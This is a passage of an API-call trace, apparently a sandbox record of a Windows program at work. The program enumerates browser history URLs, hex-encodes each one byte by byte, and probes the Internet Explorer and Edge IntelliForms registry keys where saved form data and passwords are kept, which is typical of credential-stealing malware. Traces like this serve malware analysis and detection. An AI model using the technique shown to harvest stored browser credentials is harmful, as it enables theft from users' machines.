lpString1="6190D2F399C8BE7E75BFE690AC9E8E") returned="6190D2F399C8BE7E75BFE690AC9E8E" [0053.556] LocalFree (hMem=0x758820) returned 0x0 [0053.556] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9F") returned 2 [0053.556] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E8E") returned 30 [0053.556] lstrlenA (lpString="9F") returned 2 [0053.556] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.556] lstrcpyA (in: lpString1=0x754cf0, lpString2="6190D2F399C8BE7E75BFE690AC9E8E" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E") returned="6190D2F399C8BE7E75BFE690AC9E8E" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E8E", lpString2="9F" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9F") returned="6190D2F399C8BE7E75BFE690AC9E8E9F" [0053.556] LocalFree (hMem=0x758a18) returned 0x0 [0053.556] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E1") returned 2 [0053.556] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E8E9F") returned 32 [0053.556] lstrlenA (lpString="E1") returned 2 [0053.556] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.556] lstrcpyA (in: lpString1=0x754b90, lpString2="6190D2F399C8BE7E75BFE690AC9E8E9F" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9F") returned="6190D2F399C8BE7E75BFE690AC9E8E9F" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9F", lpString2="E1" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1" [0053.556] LocalFree (hMem=0x754cf0) returned 0x0 [0053.556] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B1") returned 2 [0053.556] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E8E9FE1") returned 34 [0053.556] lstrlenA (lpString="B1") returned 2 [0053.556] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.556] lstrcpyA (in: lpString1=0x754cf0, lpString2="6190D2F399C8BE7E75BFE690AC9E8E9FE1" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1", lpString2="B1" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1" [0053.556] LocalFree (hMem=0x754b90) returned 0x0 [0053.556] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FA") returned 2 [0053.556] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1") returned 36 [0053.556] lstrlenA (lpString="FA") returned 2 [0053.556] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.556] lstrcpyA (in: lpString1=0x754b90, lpString2="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1", lpString2="FA" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA" [0053.556] LocalFree (hMem=0x754cf0) returned 0x0 [0053.556] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.556] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA") returned 38 [0053.556] lstrlenA (lpString="D4") returned 2 [0053.556] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.556] lstrcpyA (in: lpString1=0x750bb8, lpString2="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FA", lpString2="D4" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4" [0053.556] LocalFree (hMem=0x754b90) returned 0x0 [0053.556] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.556] lstrlenA (lpString="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4") returned 40 [0053.556] lstrlenA (lpString="D4") returned 2 [0053.556] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.556] lstrcpyA (in: lpString1=0x750a48, lpString2="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4" [0053.556] lstrcatA (in: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4", lpString2="D4" | out: lpString1="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4D4") returned="6190D2F399C8BE7E75BFE690AC9E8E9FE1B1FAD4D4" [0053.556] LocalFree (hMem=0x750bb8) returned 0x0 [0053.556] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.556] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.556] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.556] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.557] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.557] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.557] LocalFree (hMem=0x750a48) returned 0x0 [0053.557] CoTaskMemFree (pv=0x75fe50) [0053.557] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.557] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/IoFnVZt5OVrXc94.ods", lpSrch="?") returned 0x0 [0053.557] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/IoFnVZt5OVrXc94.ods") returned 61 [0053.557] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F3") returned 2 [0053.557] lstrlenA (lpString="") returned 0 [0053.557] lstrlenA (lpString="F3") returned 2 [0053.557] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75fe50 [0053.557] lstrcpyA (in: lpString1=0x75fe50, lpString2="" | out: lpString1="") returned="" [0053.557] lstrcatA (in: lpString1="", lpString2="F3" | out: lpString1="F3") returned="F3" [0053.557] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="26") returned 2 [0053.557] lstrlenA (lpString="F3") returned 2 [0053.557] lstrlenA (lpString="26") returned 2 [0053.557] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75fee0 [0053.557] lstrcpyA (in: lpString1=0x75fee0, lpString2="F3" | out: lpString1="F3") returned="F3" [0053.557] lstrcatA (in: lpString1="F3", lpString2="26" | out: lpString1="F326") returned="F326" [0053.557] LocalFree (hMem=0x75fe50) returned 0x0 [0053.557] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="19") returned 2 [0053.557] lstrlenA (lpString="F326") returned 4 [0053.557] lstrlenA (lpString="19") returned 2 [0053.557] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75fe50 [0053.557] lstrcpyA (in: lpString1=0x75fe50, lpString2="F326" | out: lpString1="F326") returned="F326" [0053.557] lstrcatA (in: lpString1="F326", lpString2="19" | out: lpString1="F32619") returned="F32619" [0053.557] LocalFree (hMem=0x75fee0) returned 0x0 [0053.557] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6F") returned 2 [0053.557] lstrlenA (lpString="F32619") returned 6 [0053.557] lstrlenA (lpString="6F") returned 2 [0053.557] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7631f0 [0053.557] lstrcpyA (in: lpString1=0x7631f0, lpString2="F32619" | out: lpString1="F32619") returned="F32619" [0053.557] lstrcatA (in: lpString1="F32619", lpString2="6F" | out: lpString1="F326196F") returned="F326196F" [0053.557] LocalFree (hMem=0x75fe50) returned 0x0 [0053.557] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.557] lstrlenA (lpString="F326196F") returned 8 [0053.557] lstrlenA (lpString="81") returned 2 [0053.557] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x763288 [0053.557] lstrcpyA (in: lpString1=0x763288, lpString2="F326196F" | out: lpString1="F326196F") returned="F326196F" [0053.557] lstrcatA (in: lpString1="F326196F", lpString2="81" | out: lpString1="F326196F81") returned="F326196F81" [0053.557] LocalFree (hMem=0x7631f0) returned 0x0 [0053.557] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7F") returned 2 [0053.557] lstrlenA (lpString="F326196F81") returned 10 [0053.558] lstrlenA (lpString="7F") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7631f0 [0053.558] lstrcpyA (in: lpString1=0x7631f0, lpString2="F326196F81" | out: lpString1="F326196F81") returned="F326196F81" [0053.558] lstrcatA (in: lpString1="F326196F81", lpString2="7F" | out: lpString1="F326196F817F") returned="F326196F817F" [0053.558] LocalFree (hMem=0x763288) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B2") returned 2 [0053.558] lstrlenA (lpString="F326196F817F") returned 12 [0053.558] lstrlenA (lpString="B2") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x763288 [0053.558] lstrcpyA (in: lpString1=0x763288, lpString2="F326196F817F" | out: lpString1="F326196F817F") returned="F326196F817F" [0053.558] lstrcatA (in: lpString1="F326196F817F", lpString2="B2" | out: lpString1="F326196F817FB2") returned="F326196F817FB2" [0053.558] LocalFree (hMem=0x7631f0) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="64") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB2") returned 14 [0053.558] lstrlenA (lpString="64") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.558] lstrcpyA (in: lpString1=0x763518, lpString2="F326196F817FB2" | out: lpString1="F326196F817FB2") returned="F326196F817FB2" [0053.558] lstrcatA (in: lpString1="F326196F817FB2", lpString2="64" | out: lpString1="F326196F817FB264") returned="F326196F817FB264" [0053.558] LocalFree (hMem=0x763288) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB264") returned 16 [0053.558] lstrlenA (lpString="FD") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.558] lstrcpyA (in: lpString1=0x763478, lpString2="F326196F817FB264" | out: lpString1="F326196F817FB264") returned="F326196F817FB264" [0053.558] lstrcatA (in: lpString1="F326196F817FB264", lpString2="FD" | out: lpString1="F326196F817FB264FD") returned="F326196F817FB264FD" [0053.558] LocalFree (hMem=0x763518) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB264FD") returned 18 [0053.558] lstrlenA (lpString="56") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.558] lstrcpyA (in: lpString1=0x763518, lpString2="F326196F817FB264FD" | out: lpString1="F326196F817FB264FD") returned="F326196F817FB264FD" [0053.558] lstrcatA (in: lpString1="F326196F817FB264FD", lpString2="56" | out: lpString1="F326196F817FB264FD56") returned="F326196F817FB264FD56" [0053.558] LocalFree (hMem=0x763478) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="33") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB264FD56") returned 20 [0053.558] lstrlenA (lpString="33") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.558] lstrcpyA (in: lpString1=0x763478, lpString2="F326196F817FB264FD56" | out: lpString1="F326196F817FB264FD56") returned="F326196F817FB264FD56" [0053.558] lstrcatA (in: lpString1="F326196F817FB264FD56", lpString2="33" | out: lpString1="F326196F817FB264FD5633") returned="F326196F817FB264FD5633" [0053.558] LocalFree (hMem=0x763518) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="29") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB264FD5633") returned 22 [0053.558] lstrlenA (lpString="29") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.558] lstrcpyA (in: lpString1=0x758a18, lpString2="F326196F817FB264FD5633" | out: lpString1="F326196F817FB264FD5633") returned="F326196F817FB264FD5633" [0053.558] lstrcatA (in: lpString1="F326196F817FB264FD5633", lpString2="29" | out: lpString1="F326196F817FB264FD563329") returned="F326196F817FB264FD563329" [0053.558] LocalFree (hMem=0x763478) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C7") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB264FD563329") returned 24 [0053.558] lstrlenA (lpString="C7") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.558] lstrcpyA (in: lpString1=0x758820, lpString2="F326196F817FB264FD563329" | out: lpString1="F326196F817FB264FD563329") returned="F326196F817FB264FD563329" [0053.558] lstrcatA (in: lpString1="F326196F817FB264FD563329", lpString2="C7" | out: lpString1="F326196F817FB264FD563329C7") returned="F326196F817FB264FD563329C7" [0053.558] LocalFree (hMem=0x758a18) returned 0x0 [0053.558] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CA") returned 2 [0053.558] lstrlenA (lpString="F326196F817FB264FD563329C7") returned 26 [0053.558] lstrlenA (lpString="CA") returned 2 [0053.558] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.558] lstrcpyA (in: lpString1=0x758a18, lpString2="F326196F817FB264FD563329C7" | out: lpString1="F326196F817FB264FD563329C7") returned="F326196F817FB264FD563329C7" [0053.558] lstrcatA (in: lpString1="F326196F817FB264FD563329C7", lpString2="CA" | out: lpString1="F326196F817FB264FD563329C7CA") returned="F326196F817FB264FD563329C7CA" [0053.559] LocalFree (hMem=0x758820) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3A") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA") returned 28 [0053.559] lstrlenA (lpString="3A") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.559] lstrcpyA (in: lpString1=0x758820, lpString2="F326196F817FB264FD563329C7CA" | out: lpString1="F326196F817FB264FD563329C7CA") returned="F326196F817FB264FD563329C7CA" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA", lpString2="3A" | out: lpString1="F326196F817FB264FD563329C7CA3A") returned="F326196F817FB264FD563329C7CA3A" [0053.559] LocalFree (hMem=0x758a18) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FA") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA3A") returned 30 [0053.559] lstrlenA (lpString="FA") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.559] lstrcpyA (in: lpString1=0x754b90, lpString2="F326196F817FB264FD563329C7CA3A" | out: lpString1="F326196F817FB264FD563329C7CA3A") returned="F326196F817FB264FD563329C7CA3A" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA3A", lpString2="FA" | out: lpString1="F326196F817FB264FD563329C7CA3AFA") returned="F326196F817FB264FD563329C7CA3AFA" [0053.559] LocalFree (hMem=0x758820) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E1") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA3AFA") returned 32 [0053.559] lstrlenA (lpString="E1") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.559] lstrcpyA (in: lpString1=0x754cf0, lpString2="F326196F817FB264FD563329C7CA3AFA" | out: lpString1="F326196F817FB264FD563329C7CA3AFA") returned="F326196F817FB264FD563329C7CA3AFA" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA3AFA", lpString2="E1" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE1") returned="F326196F817FB264FD563329C7CA3AFAE1" [0053.559] LocalFree (hMem=0x754b90) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7F") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA3AFAE1") returned 34 [0053.559] lstrlenA (lpString="7F") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.559] lstrcpyA (in: lpString1=0x754b90, lpString2="F326196F817FB264FD563329C7CA3AFAE1" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE1") returned="F326196F817FB264FD563329C7CA3AFAE1" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA3AFAE1", lpString2="7F" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17F") returned="F326196F817FB264FD563329C7CA3AFAE17F" [0053.559] LocalFree (hMem=0x754cf0) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D8") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA3AFAE17F") returned 36 [0053.559] lstrlenA (lpString="D8") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.559] lstrcpyA (in: lpString1=0x754cf0, lpString2="F326196F817FB264FD563329C7CA3AFAE17F" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17F") returned="F326196F817FB264FD563329C7CA3AFAE17F" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA3AFAE17F", lpString2="D8" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8") returned="F326196F817FB264FD563329C7CA3AFAE17FD8" [0053.559] LocalFree (hMem=0x754b90) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AE") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA3AFAE17FD8") returned 38 [0053.559] lstrlenA (lpString="AE") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.559] lstrcpyA (in: lpString1=0x750a48, lpString2="F326196F817FB264FD563329C7CA3AFAE17FD8" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8") returned="F326196F817FB264FD563329C7CA3AFAE17FD8" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8", lpString2="AE" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8AE") returned="F326196F817FB264FD563329C7CA3AFAE17FD8AE" [0053.559] LocalFree (hMem=0x754cf0) returned 0x0 [0053.559] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="11") returned 2 [0053.559] lstrlenA (lpString="F326196F817FB264FD563329C7CA3AFAE17FD8AE") returned 40 [0053.559] lstrlenA (lpString="11") returned 2 [0053.559] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.559] lstrcpyA (in: lpString1=0x750bb8, lpString2="F326196F817FB264FD563329C7CA3AFAE17FD8AE" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8AE") returned="F326196F817FB264FD563329C7CA3AFAE17FD8AE" [0053.559] lstrcatA (in: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8AE", lpString2="11" | out: lpString1="F326196F817FB264FD563329C7CA3AFAE17FD8AE11") returned="F326196F817FB264FD563329C7CA3AFAE17FD8AE11" [0053.559] LocalFree (hMem=0x750a48) returned 0x0 [0053.559] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.559] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.559] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.560] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.560] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.560] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.560] LocalFree (hMem=0x750bb8) returned 0x0 [0053.560] CoTaskMemFree (pv=0x735fa8) [0053.560] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.560] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/tL%20LzwEywDvvC.xlsx", lpSrch="?") returned 0x0 [0053.560] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/tL%20LzwEywDvvC.xlsx") returned 64 [0053.560] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FA") returned 2 [0053.560] lstrlenA (lpString="") returned 0 [0053.560] lstrlenA (lpString="FA") returned 2 [0053.560] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760090 [0053.560] lstrcpyA (in: lpString1=0x760090, lpString2="" | out: lpString1="") returned="" [0053.560] lstrcatA (in: lpString1="", lpString2="FA" | out: lpString1="FA") returned="FA" [0053.560] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="58") returned 2 [0053.560] lstrlenA (lpString="FA") returned 2 [0053.560] lstrlenA (lpString="58") returned 2 [0053.560] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760120 [0053.560] lstrcpyA (in: lpString1=0x760120, lpString2="FA" | out: lpString1="FA") returned="FA" [0053.560] lstrcatA (in: lpString1="FA", lpString2="58" | out: lpString1="FA58") returned="FA58" [0053.560] LocalFree (hMem=0x760090) returned 0x0 [0053.560] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.560] lstrlenA (lpString="FA58") returned 4 [0053.560] lstrlenA (lpString="3E") returned 2 [0053.560] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760090 [0053.560] lstrcpyA (in: lpString1=0x760090, lpString2="FA58" | out: lpString1="FA58") returned="FA58" [0053.560] lstrcatA (in: lpString1="FA58", lpString2="3E" | out: lpString1="FA583E") returned="FA583E" [0053.560] LocalFree (hMem=0x760120) returned 0x0 [0053.560] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E7") returned 2 [0053.560] lstrlenA (lpString="FA583E") returned 6 [0053.560] lstrlenA (lpString="E7") returned 2 [0053.560] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7631f0 [0053.560] lstrcpyA (in: lpString1=0x7631f0, lpString2="FA583E" | out: lpString1="FA583E") returned="FA583E" [0053.560] lstrcatA (in: lpString1="FA583E", lpString2="E7" | out: lpString1="FA583EE7") returned="FA583EE7" [0053.560] LocalFree (hMem=0x760090) returned 0x0 [0053.560] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3E") returned 2 [0053.560] lstrlenA (lpString="FA583EE7") returned 8 [0053.560] lstrlenA (lpString="3E") returned 2 [0053.560] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x763288 [0053.560] lstrcpyA (in: lpString1=0x763288, lpString2="FA583EE7" | out: lpString1="FA583EE7") returned="FA583EE7" [0053.561] lstrcatA (in: lpString1="FA583EE7", lpString2="3E" | out: lpString1="FA583EE73E") returned="FA583EE73E" [0053.561] LocalFree (hMem=0x7631f0) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.561] lstrlenA (lpString="FA583EE73E") returned 10 [0053.561] lstrlenA (lpString="DD") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7631f0 [0053.561] lstrcpyA (in: lpString1=0x7631f0, lpString2="FA583EE73E" | out: lpString1="FA583EE73E") returned="FA583EE73E" [0053.561] lstrcatA (in: lpString1="FA583EE73E", lpString2="DD" | out: lpString1="FA583EE73EDD") returned="FA583EE73EDD" [0053.561] LocalFree (hMem=0x763288) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6E") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD") returned 12 [0053.561] lstrlenA (lpString="6E") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x763288 [0053.561] lstrcpyA (in: lpString1=0x763288, lpString2="FA583EE73EDD" | out: lpString1="FA583EE73EDD") returned="FA583EE73EDD" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD", lpString2="6E" | out: lpString1="FA583EE73EDD6E") returned="FA583EE73EDD6E" [0053.561] LocalFree (hMem=0x7631f0) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A7") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD6E") returned 14 [0053.561] lstrlenA (lpString="A7") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.561] lstrcpyA (in: lpString1=0x763478, lpString2="FA583EE73EDD6E" | out: lpString1="FA583EE73EDD6E") returned="FA583EE73EDD6E" [0053.561] lstrcatA (in: lpString1="FA583EE73EDD6E", lpString2="A7" | out: lpString1="FA583EE73EDD6EA7") returned="FA583EE73EDD6EA7" [0053.561] LocalFree (hMem=0x763288) returned 0x0 [0053.561] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="05") returned 2 [0053.561] lstrlenA (lpString="FA583EE73EDD6EA7") returned 16 [0053.561] lstrlenA (lpString="05") returned 2 [0053.561] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.561] lstrcpyA (in: 